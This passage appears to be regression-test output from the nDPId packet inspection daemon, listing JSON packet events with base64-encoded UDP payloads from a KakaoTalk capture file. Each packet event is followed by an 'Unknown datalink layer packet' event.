+00541{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1663,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":671363,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJ8AAEAAHRH82wHJAa4KGFK8WgQsOACLqWWAbDKqfq5qA1SapdpEJWSJXP23K2goCWhJYs\/MXLgXHxbxUEXNNxY9uFHB0LQ+cZl6LjZshoRjZ0rDYbhI+Jq0jr68EDPDRGHCq7AhN5ma0+r6XyNtsGfE8qpSD7NdyENsCQmnBF69wQxGTTFZ4uLuIRXFOdX2Rb+TbxWwVWu4XqTE9A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1663,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1664,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":705725,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAQBHaPwoYUrwByQGuKBxaBgBPT9OAbDLUfq8Hg1SapdqiWrSATMh0FcrmqqU02YmXvSP7JHZhu7qnIftHeJ9K8xvvjyA9EHkTjERMJnQB8a7HZJKnDkrS\/nZrrA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1664,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1665,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":712897,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAPxHbQgoYUrwByQGuLDhaBABMS6qAbFBOiz+l2guGVRlerR3e1EWio9A2FzZOkaRkAV8pJuvc5ovlUG5kBHbpnm0Vf9eisakwFfj5cgouMNTgRNu8C7UTLQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1665,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00572{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1666,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":751776,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALcAAEAAHBH9wwHJAa4KGFK8WgYoHACjFESAbFAkiz8IWguGVRkVeTJIfm7YwHj20sgGzLO81IM+rLWHsawHXArwJbWN8p17SdEx46bPEOLQBCaAuiyTBRZcl66mr2rJc9xQSNwOR069RTPTUixTVqd0fnt28GA8ZfmIMRyoDRf0cyca66TZWPTF598CqeC6KdWVQRWM0xALwF7lXS4BuZeDYpi0pybs77GXxUjNouHxym3jPA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1666,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1667,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":777747,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLn8+AbDLVfq8LQ1SapdrvWGhRxmwWEdYC4uHRH0\/geXmdo1omm\/7zmwWHe93OgXsDZaAGs1egucSyHpz69LMKYfl5DzyX"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1667,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00586{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1668,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":799262,"pkt_caplen":207,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":207,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAL8AAEAAHBH9uwHJAa4KGFK8WgYoHACrTTOAbFAliz8MGguGVRlpsMqQPJX7z7T4CHP2wSdtMyVR5z9yc1mtnq4JVFVayx6AANSMh8AtKB8JHkw4vZ+T6RkVy6J2ORXtsAaNP8rW84aiN66vuftDCAvqFr7tr6yOY9rE0F30Al33\/1W73Qpu5zQGCTCjpo4MJBOa\/Cej\/\/Srq77N3REBVdd+lSeNHE8dctKU\/RFoKF+Qrn9u2z+uDbwxe\/2s"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1668,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1669,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":812171,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHjYqAbFBPiz+pmguGVRnCrD6JNklzJZ0ZxTz5PRUdnAdvh5fH1W+Ft29WMsxGzuLF\/vu\/mkBl7dw9buz7ZdvXbus="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1669,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1670,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":812293,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABI+EaAbFBQiz+tWguGVRnholDqELYSAVdv2snxLqw94O1W8WH0yRcI4eQaCEV8p63FKwMLoprsdtP69UDKL8vU3oZG"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1670,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1671,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":841040,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGsAAEAAQBHaNwoYUrwByQGuKBxaBgBXuiWAbDLWfq8PA1SapdrGhdNhY+zG1gI8cM\/qp1E+FVvmiAXDchwj4kojinB7VN2FbivY63w5atj5GEWv55qKb46MleQTyl3X6clFc+BmoN\/J"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1671,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00544{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1672,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":871344,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJ8AAEAAHRH82wHJAa4KGFK8WgQsOACL4jyAbDKrfq5tw1Sapdro98tpQVsCZfUuCPNH02m\/2sa9zPqQCktg4I7s+FzcWVojetyBRWmkNpbk7ezcdi0wgvma7lFpO0v\/6JuwIopAT\/Axnwv6u4K52TntnR19HlFFXwusSW3k44qO5Il\/oDXqRwtgU4YuQlcE+HUAbQqa1ZYXCQzl2g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1672,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1673,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":912574,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFcAAEAAPxHbSwoYUrwByQGuLDhaBABDUIqAbFBRiz+xGguGVRnKU3K4vDzrBMpspP8\/CrfmVntQpag23871nmt27LHQWHHu7MvFE397lM8OEaWC1w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1673,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00554{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1674,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":912696,"pkt_caplen":184,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":184,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKgAAEAAHBH90gHJAa4KGFK8WgYoHACU9sGAbFAmiz8P2guGVRl1QrQc79+J72+AG9OJcCZ39H1SQNrm5FzPyCJPvn220OuiYo4oe96Abv8QbFJ07JAW+CqnKYP8WFm72zUCvCtZ1CQl\/JsXHsWsS1vYnt5JDKcBv0sWZLGzpIiKB7tx7SElYgAmEZ58NWH1CaX5ws+v\/BS7S5IkQfCfP1bFBtMVDQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1674,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1675,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":917945,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAPxHbSgoYUrwByQGuLDhaBABELeOAbFBSiz+02guGVRlKpZxpFNLNOUM9+3K5TYqxYSlgA6uBk1WoVG8AK29aqnSVTB8tJEEijjShT3VmvGA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1675,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00474{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1676,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":922980,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGwAAEAAQBHaNgoYUrwByQGuKBxaBgBYNuaAbDLXfq8Sw1Sapdo\/SmhgxUunHGfCvHKnP2rfIcMuYurZJiInaph4mEXI7VWBc6SUWERLZLzYJbY\/q+LXvZHNfjfBLOjLljd7j4RUFJ9c3A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1676,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00508{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1677,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":979560,"pkt_caplen":150,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":150,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIYAAEAAHRH89AHJAa4KGFK8WgQsOAByYouAbDKsfq5xg1SapdqsBsExUtd2AIAkTt2enAc0Z\/L7pOA9kCT8w4\/twQfkjl\/OoOBS9UlGTGSdr5z2iB8Nma0l5NNLP7nWrW7rRDT\/GpOg1jIFgMtoHm9LrGVJXxmWRRQRqXBIMQp94n2x"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1677,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1678,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":985297,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGsAAEAAQBHaNwoYUrwByQGuKBxaBgBXb1OAbDLYfq8Wg1SapdqkNPVedeziU0dHp2F+jNQvFdomJ2\/aiaxrXoS4OIBcEh04gYmwhw0ollB8o6m65GCWtq62wS2Mqn3cQ8J7cRsJFUh\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1678,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00459{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1679,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":11389,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGMAAEAAHRH9FwHJAa4KGFK8WgQsOABPS+iAbDKtfq51Q1SapdpiCDhx5Xi6EsVf56zcDKRqZJEqR79ksy62+YVry9ptBkx8rUYDDJ8toyOEPhxa1Io1AAjC1IIGcpUo6w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1679,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1680,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":15784,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJ+Q6AbFBTiz+4mguGVRlXMONXUyhj4mHz+oNN3n4y6g6brumvoi567K2E7QqLsiSKMrbAYz1tcsNYcIpXKxZNwyAwmg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1680,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1681,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":21918,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLYeWAbDLZfq8aQ1SapdoaD4XH3OY8g3rOVa+ZcoSKAFNNy4\/sPwb113M5DrO8+0pAbHmxo3h0xNNSs3suREZ+0R7WAFYl"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1681,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1682,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":65863,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLHzuAbDLafq8eA1SapdoIZdrX1DQMJt\/tRqIDgAUvffgqPKZvlQut3hniagtYXZlKYVHYyhQ6uYDKm62zk0EmNkgqdX3C"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1682,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00541{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1683,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":85242,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJ8AAEAAHBH92wHJAa4KGFK8WgYoHACLgpeAbFAniz8TmguGVRmAAhXXMVI0LfVJkhU1Fawv0zpsFGxQRx\/8GXw6xZwsFwRlTRQKCidnvbLeC1h\/E4PaA8Y1mjje4LvkcDGSecSHu1XUEX74AEWVn3nXsRpCj+nxGNPPIHehy5oDUiz10NWfuVnN1u7iVrbuqm1ygaIMlaFFnJvxGg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1683,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1684,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":112189,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHMJuAbFBUiz+8WguGVRkcBQ2w77nPgj9OzrzLYwVcIBksfj60e26SnPPw7n\/3K0YRXqz7M09Z38TYkwQj5Rw+r2U="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1684,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1685,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":117926,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGyp6AbFBViz\/AGguGVRmkCbJs4bdLiV8ABwUXfolGqpiFFnxIbpW7dOCaLB9G+4IcSciRytbFHM68z0UQm0ou2g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1685,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00519{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1686,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":148688,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAI8AAEAAHBH96wHJAa4KGFK8WgYoHAB7aUGAbFAoiz8XWguGVRmSKu1Szj+o6jjVr\/RXbcCgZib76JJ8+eqzPWjfb+5SkXlDvPq2Wl\/IRK0csR4DaPIptJyFg+zMprYw48nsvmesjImJnAq\/2LxqVSxmI+iKoFxHqD1FvZEgksUnqCx+Y9zolGtLJQ4D"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1686,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1687,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":163550,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/9WmAbDLbfq8hw1SapdrVt4Vd9FoIbkTRG15V5QbKXfnYisPeBzPI5PJI0E8EEvS+KiBPpeOey2MW"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1687,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1688,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":168860,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG0AAEAAHRH9DQHJAa4KGFK8WgQsOABZO3eAbDKufq55A1SapdoyHnX\/v8j1R62CkCyG3OYNW\/vx\/ptn6pb8psSV7jtiXLUyAnOFhh52IhZlFWv5HJwLm\/JxDtSJlOdiIEW33ZZhgEmuW8Q="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1688,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1689,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":203925,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/MKSAbDLcfq8lg1Sapdq1u26hZxrS9oiJsFMYfgiG7TFTy+Q\/Panf2tjY8ggEJub1g5xbuL21\/lRO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1689,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1690,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":207526,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGUAAEAAHRH9FQHJAa4KGFK8WgQsOABRNxKAbDKvfq58w1SapdqQqhfDkATpK4udXORC3Td4R114NSoVuPAdmO8fr81hUza2IjEOhmKhKXeoEeN6LjTJtCWO\/5V2yhTuR\/CE"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1690,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1691,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":214148,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHOFSAbFBWiz\/D2guGVRlpTV3ciXfJ4vBomLslbZXdpi\/xW6jlA3vSQkWL2IViVrEec+X3k8CRSB\/j\/7mzCN5Go1g="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1691,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1692,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":218604,"pkt_caplen":153,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":153,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIkAAEAAPxHbGQoYUrwByQGuLDhaBAB1d8WAbFBXiz\/HmguGVRkP5r59i+1T3SK8mCu57i1noVZqggbOVjMYUak2J9+PBCuAOvkpuKLjo6WNvtzQB5hpHMm6IXwvOhL\/hhtMF8zOuyThpa+2cmVv5kKRQ2GrOwyifHGklH9466d29RdnfTZo"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1692,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1693,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":246344,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/MTGAbDLdfq8pQ1SapdrxAVS2mXJUbjMPLITWCtqlMrdflWHGU4M5gxwrUsdF1vGUyPl4cUmNWdNG"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1693,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1694,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":318213,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABKCmmAbFBYiz\/LWguGVRnJjzNfzZZSz1EmkY2d1zjbuhLf9kLvMDbpWQIbnrkFdm08KzF57iEsuTxByesjb18lBoL54co="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1694,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1695,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":325019,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/JvCAbDLefq8tA1SapdqR3LwcvhdslAP0knR6Vb607CXVVFO94St6cMgbd6IrW\/x+yTIEh1RAxSCV"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1695,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1696,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":364875,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/5VaAbDLffq8ww1SapdrR+FXkOkYlI0tJsOBXo0ZRXI9y2JHx+o0oSqcj+i9Z8e6o\/7a95iXOHohJ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1696,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 